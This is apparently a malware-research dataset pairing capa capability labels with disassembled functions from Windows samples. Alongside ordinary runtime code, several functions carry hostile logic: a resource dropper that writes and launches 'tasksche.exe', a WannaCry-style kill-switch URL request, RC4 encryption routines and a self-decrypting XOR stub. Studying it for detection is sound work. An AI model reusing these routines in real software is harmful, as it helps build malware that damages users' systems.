joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41bffe
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x48b6e8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41c03e
cmp byte [ebx], 0xa
jne 0x41c03e
or byte [eax + edi + 0x28], 4
jmp 0x41c043
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41c141
mov al, byte [edx]
cmp al, 0x1a
je 0x41c123
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41c072
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41c097
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41c0a1
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41c054
jmp 0x41c141
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41c11e
cmp dword [ebp - 0xc], 0
je 0x41c11e
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x48b6e8]
test byte [eax + edi + 0x28], 0x48
je 0x41c0f8
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41c0e3
mov byte [esi], dl
jmp 0x41c0f4
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x48b6e8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41c141
cmp byte [ebp - 1], 0xa
jne 0x41c107
cmp esi, ebx
jne 0x41c107
mov byte [esi], 0xa
jmp 0x41c140
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041cb7e
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41c141
mov byte [esi], 0xd
jmp 0x41c140
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x48b6e8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41c13d
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41c141
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41c14a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x48b6e8]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41c18d
cmp word [esi], dx
jne 0x41c18d
or byte [edi + eax + 0x28], 4
jmp 0x41c192
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41c2e5
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41c2c5
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41c1d4
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41c20a
cmp eax, edx
jae 0x41c216
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41c1ac
jmp 0x41c2e5
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41c2c1
cmp dword [ebp - 0x14], 0
je 0x41c2c1
mov eax, dword [ebx*4 + 0x48b6e8]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41c299
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41c262
mov word [esi], cx
jmp 0x41c295
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x48b6e8]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x48b6e8]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x48b6e8]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41c2e5
pop ebx
cmp word [ebp - 4], bx
jne 0x41c2aa
cmp esi, dword [ebp + 0xc]
jne 0x41c2aa
mov word [esi], bx
jmp 0x41c2e2
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041cb7e
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41c2e5
push 0xd
jmp 0x41c2de
mov ecx, dword [ebx*4 + 0x48b6e8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41c2dc
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41c2e5
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41e0dc
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41e179
push ebx
push esi
call fcn.0041e0a5
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041cd2a
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41e126
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41e178
push edi
push eax
call fcn.00417686
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41e146
call fcn.0041745c
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41e177
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041cd2a
add esp, 0x20
test eax, eax
jne 0x41e165
push edi
call fcn.0041745c
jmp 0x41e16d
push ebx
call fcn.0041745c
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x425c70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x425c9d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x425c9d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x427000
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
push str.Success_created.
push 0x48ad78
mov ebx, ecx
call fcn.00401200
push eax
call fcn.004021f0
push 8
call fcn.00409271
mov esi, eax
add esp, 0x10
test esi, esi
je 0x427062
push 4
call fcn.00409271
add esp, 4
test eax, eax
je 0x427040
mov dword [eax], 0x427bc0
jmp 0x427042
xor eax, eax
lea edi, [esi + 4]
push edi
push 0
push eax
push 0x4021d0
push 0
push 0
call fcn.00410396
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x42709d
jmp 0x427064
xor esi, esi
cmp dword [esi + 4], 0
je 0x4270aa
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [esi + 4], eax
je 0x4270b1
push 0
push dword [esi + 4]
push dword [esi]
call fcn.00405ba5
add esp, 0xc
test eax, eax
jne 0x4270b8
push 8
push esi
mov dword [esi], eax
mov dword [esi + 4], eax
call fcn.004092a1
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
ret
push 6
mov dword [edi], 0
call fcn.00405d5b
push 1
call fcn.00405d5b
push 5
call fcn.00405d5b
push 2
call fcn.00405d5b
int3

Function at 0x4275d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x24c
mov eax, dword [0x489900]
Function at 0x407ce0
Capabilities:
Extract resource via kernel32 functions
Move file

Disassembly:
sub esp, 0x260
push ebx
push ebp
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x407f08
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateProcessA
push esi
call edi
push str.CreateFileA
push esi
mov dword [0x431478], eax
call edi
push str.WriteFile
push esi
mov dword [0x431458], eax
call edi
push str.CloseHandle
push esi
mov dword [0x431460], eax
call edi
mov ecx, dword [0x431478]
mov dword [0x43144c], eax
cmp ecx, ebx
je 0x407f08
cmp dword [0x431458], ebx
je 0x407f08
cmp dword [0x431460], ebx
je 0x407f08
cmp eax, ebx
je 0x407f08
push 0x43137c
push 0x727
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x407f08
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x407f08
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [esp + 0x10], eax
je 0x407f08
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
cmp ebp, ebx
je 0x407f08
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x16d]
mov byte [esp + 0x16c], bl
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push str.tasksche.exe
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x431364
lea eax, [esp + 0x70]
push str.C:_s_s
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x16c]
push 0x431364
push str.C:_sqeriuwjhrf
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x16c]
lea eax, [esp + 0x68]
push 1
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebx
push 4
push 2
push ebx
push ebx
lea ecx, [esp + 0x7c]
push 0x40000000
push ecx
call dword [0x431458]
mov esi, eax
cmp esi, 0xffffffff
je 0x407f08
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push ebx
push edx
push ebp
push eax
push esi
call dword [0x431460]
push esi
call dword [0x43144c]
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x18], ecx
lea edi, [esp + 0x28]
mov dword [esp + 0x1c], ecx
lea edx, [esp + 0x68]
mov dword [esp + 0x20], ecx
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov edi, 0x431340
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x14], ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x6c]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push edx
push ebx
mov dword [esp + 0x4c], 0x44
mov word [esp + 0x7c], bx
mov dword [esp + 0x78], 0x81
call dword [0x431478]
test eax, eax
je 0x407f08
mov eax, dword [esp + 0x18]
push eax
call dword [0x43144c]
mov ecx, dword [esp + 0x14]
push ecx
call dword [0x43144c]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x260
ret
Function at 0x407fa0
Capabilities:
Modify service

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
xor edx, edx
mov dword [esp], 1
mov dword [esp + 8], 0
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea ecx, [ecx + ecx*4]
shl ecx, 3
cmp eax, 0xffffffff
mov dword [esp + 4], ecx
setne dl
mov eax, 0x70f87c
lea ecx, [esp + 8]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
push ecx
lea eax, [esp + 4]
push 2
push edx
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
add esp, 0x1c
ret

Function at 0x408140
Capabilities:
Create http request

Disassembly:
sub esp, 0x50
push esi
push edi
mov ecx, 0xe
mov esi, str.http:__www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
lea edi, [esp + 8]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov word [esp + 0x55], ax
push eax
push eax
push eax
push 1
push eax
mov byte [esp + 0x6b], al
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x84000000
push 0
lea ecx, [esp + 0x14]
mov esi, eax
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
jmp 0x4081a7
call esi
push 0
call esi
call fcn.00408090
pop edi
xor eax, eax
pop esi
add esp, 0x50
ret 0x10

Function at 0x10002405
Capabilities:
Terminate process

Disassembly:
jmp 0x10030a07
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x10030a18
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.1000375b
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x10002491
Capabilities:
Query environment variable

Disassembly:
jmp 0x10033aed
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x10033b01
xor edi, edi
jmp 0x10033b38
push ebx
push esi
call fcn.100339f7
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1000297d
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10033b28
push ebx
push esi
push edi
call fcn.10003611
add esp, 0xc
push 0
call fcn.10003c15
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop ebx
mov eax, edi
pop edi
pop esi
ret
Function at 0x40bb27
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
push ebx
mov ebx, 0xbb40e64e
cmp dword [0x410438], eax
je 0x40bb49
cmp dword [0x410438], ebx
jne 0x40bbdd
push edi
push eax
push eax
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov edi, dword [ebp - 8]
xor edi, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x14]
xor edi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push 0x410438
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
test edi, edi
push eax
push dword [ebp - 4]
cmovne ebx, edi
mov edi, 0x410438
push 4
push edi
mov dword [0x410438], ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 4
push edi
call sub.KERNEL32.dll_WerRegisterMemoryBlock
mov eax, dword [0x410438]
not eax
mov dword [0x4120c0], eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xc86854
Capabilities:
Encode data using xor

Disassembly:
jmp 0xc8685e
pushal
call 0xc86864
pop ebp
sub ebp, 0x10
sub ebp, 0x886854
jmp 0xc8687a
mov eax, 0x886854
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a3
mov edx, 0x40fbf2ca
xor byte [eax], dl
inc eax
dec ecx
jne 0xc86891
jmp 0xc868a4
inc ecx
pop es
inc ecx
inc ebx
test dl, 0xca
retf 0xb4b
Function at 0x1022c120
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10242270], 0
mov byte [0x10242274], 0
mov edi, dword [0x10242268]
add edi, 0xffffe149
mov dword [0x10242264], edi
mov dword [0x1024226c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1022c190
mov eax, dword [ebp - 0x20]
xor ecx, ecx
add eax, 0xffffd525
mov dword [0x10242268], eax
mov dword [0x1024226c], 0
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x1022c1d2
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10242268]
mov esi, eax
add esi, 0xffffe149
mov dword [0x10242264], esi
mov esi, dword [0x1024226c]
add esi, 1
mov dword [0x1024226c], esi
cmp esi, 0x100
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], esi
jl 0x1022c190
jmp 0x1022c16f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov edx, 0x100
add eax, 0xffffe224
mov dword [0x10242278], 0
mov dword [ebp - 0x2c], eax
mov eax, ecx
xor esi, esi
mov dword [ebp - 0x30], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x10242264], 0x2253
mov edi, dword [0x10242270]
mov ebx, dword [ebp - 0x18]
movzx esi, byte [ebx + ecx]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x10242278], esi
mov eax, esi
cdq
mov esi, dword [ebp - 0x30]
idiv esi
mov dword [0x10242270], edx
mov dword [0x10242264], 0x1af3
mov bl, byte [ebx + ecx]
mov byte [0x10242274], bl
mov esi, dword [ebp - 0x2c]
mov dword [0x10242268], esi
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov bl, byte [0x10242274]
mov ecx, dword [0x10242270]
mov byte [esi + ecx], bl
mov ecx, dword [0x10242268]
mov edx, ecx
add edx, 0xffffe149
mov dword [0x10242264], edx
mov esi, dword [0x1024226c]
add esi, 1
mov dword [0x1024226c], esi
cmp esi, 0x100
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x34], edx
jl 0x1022c1d2
mov eax, dword [ebp - 0x34]
mov dword [0x10242264], eax
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1022c850
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x2c
mov dword [ebp - 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
jmp 0x1022c8fc
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff9
mov dword [ebp - 0x1c], eax
mov eax, 0x106d
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x1c]
cmp word [edx + esi*2], 0x6c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
je 0x1022c9b8
jmp 0x1022c9cf
mov eax, 0x106d
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x18]
cmp word [edx + esi*2 - 0x14], 0x64
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
je 0x1022c96f
jmp 0x1022c9cf
mov eax, 0x106d
xor ecx, ecx
mov dword [0x10242264], 0x11f2
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x18]
cmp word [edx + esi*2 - 0x18], 0x6f
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
je 0x1022c94d
jmp 0x1022c9cf
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], edx
je 0x1022c929
mov eax, dword [ebp - 0x28]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x2c], eax
jl 0x1022c8fc
mov eax, dword [ebp - 0x2c]
mov ecx, 0x106d
xor edx, edx
mov esi, dword [ebp - 0x10]
cmp word [esi + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], edx
je 0x1022c8d1
jmp 0x1022c9cf
mov eax, 0x106d
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x18]
cmp word [edx + esi*2 - 0x16], 0x61
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
je 0x1022c8ac
jmp 0x1022c9cf
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
mov dx, word [eax + ecx*2 - 0x12]
mov word [ebp - 0x2e], dx
mov eax, 0x106d
xor ecx, ecx
mov dx, word [ebp - 0x2e]
cmp dx, 0x64
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jne 0x1022c9cf
mov eax, 0x106d
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x18]
cmp word [edx + esi*2 - 0x10], 0x6c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
je 0x1022c87d
jmp 0x1022c9cf
mov eax, 1
mov ecx, dword [0x10242268]
add ecx, 0xef6
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [0x10242268], ecx
add esp, 0x2c
pop esi
pop ebp
ret
Function at 0x1022c9f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
lea eax, [esp + 0x38]
lea ecx, [esp + 0x48]
mov edx, dword [0x10242264]
mov esi, edx
add esi, 0xffffff71
mov dword [0x10242264], esi
add edx, 0xfffff428
mov dword [0x10242268], edx
mov dword [esp], eax
mov dword [esp + 0x34], ecx
call fcn.1022c2d0
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x98], ecx
mov dword [0x10242268], 0x12c8
mov dword [esp + 0x7c], 0x111400
mov ecx, dword [0x10242250]
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
mov eax, 0xa69
lea ecx, [0x1022ce00]
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x58], edx
mov esi, dword [0x10242254]
mov dword [esp + 0x90], esi
mov esi, dword [0x10242258]
mov dword [esp + 0x4c], esi
mov esi, dword [0x1024225c]
mov dword [esp + 0x5c], esi
mov dword [0x10242264], 0x1bd1
mov esi, dword [0x10242260]
mov dword [esp + 0x84], esi
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
jmp 0x1022cace
mov eax, 0x890
mov ecx, dword [esp + 0x20]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jne 0x1022cab1
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
jne 0x1022cab1
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
mov dword [0x10242268], eax
mov dword [esp + 0x9c], ecx
mov dword [0x10242264], 0x39d
mov eax, dword [ecx + edx + 0x50]
mov dword [esp + 0x60], eax
call fcn.1022c850
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
jne 0x1022cb85
lea eax, [esp + 0x48]
mov ecx, dword [esp + 0x40]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1022d300
mov dword [esp + 8], eax
mov eax, esp
lea ecx, [esp + 0x48]
mov dword [eax], ecx
mov eax, dword [esp + 8]
call eax
sub esp, 4
mov eax, 1
mov ecx, dword [0x10242268]
add ecx, 0xffffd92f
mov dword [0x10242264], ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x1022cc30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x1024226c], 0
mov dword [0x10242270], 0
mov dword [0x1024227c], 0
mov edi, dword [0x10242268]
mov ebx, edi
add ebx, 0xffffe149
mov dword [0x10242264], ebx
add edi, 0xffffd49d
mov dword [0x10242268], edi
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
je 0x1022cde1
jmp 0x1022cca1
jmp 0x1022cde1
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x1022ccb2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov edi, edx
add edi, 1
add eax, 1
mov dword [ebp - 0x2c], edx
cdq
idiv esi
mov dword [0x1024226c], edx
mov dword [0x10242264], 0x13cb
mov ebx, dword [ebp - 0x1c]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x10242270], edx
mov dword [0x10242268], 0x7fe
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x30]
mov cl, byte [ecx + esi]
mov byte [0x10242274], cl
mov dword [0x10242264], 0xfae
mov ebx, dword [ebp - 0x1c]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov edx, dword [0x10242268]
add edx, 0xffffe149
mov dword [0x10242264], edx
mov cl, byte [0x10242274]
mov edx, dword [0x10242270]
mov byte [ebx + edx], cl
mov edx, dword [0x10242264]
add edx, 0xffffddc4
mov dword [0x10242264], edx
mov edx, dword [0x1024226c]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x10242270]
movzx ecx, byte [ebx + ecx]
add ecx, edx
mov edx, dword [0x10242268]
mov esi, edx
add esi, 0xffffe149
and ecx, 0xff
mov dword [0x1024227c], ecx
mov dword [0x10242264], esi
mov cl, byte [ebx + ecx]
mov esi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x2c]
xor cl, byte [esi + ebx]
add edx, 0xffffa56d
mov dword [0x10242264], edx
mov edx, dword [ebp - 0x18]
mov byte [edx + ebx], cl
mov dword [0x10242268], 0x87a
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x34], edi
je 0x1022cc9c
mov eax, dword [0x1024226c]
mov ecx, dword [0x10242270]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], edx
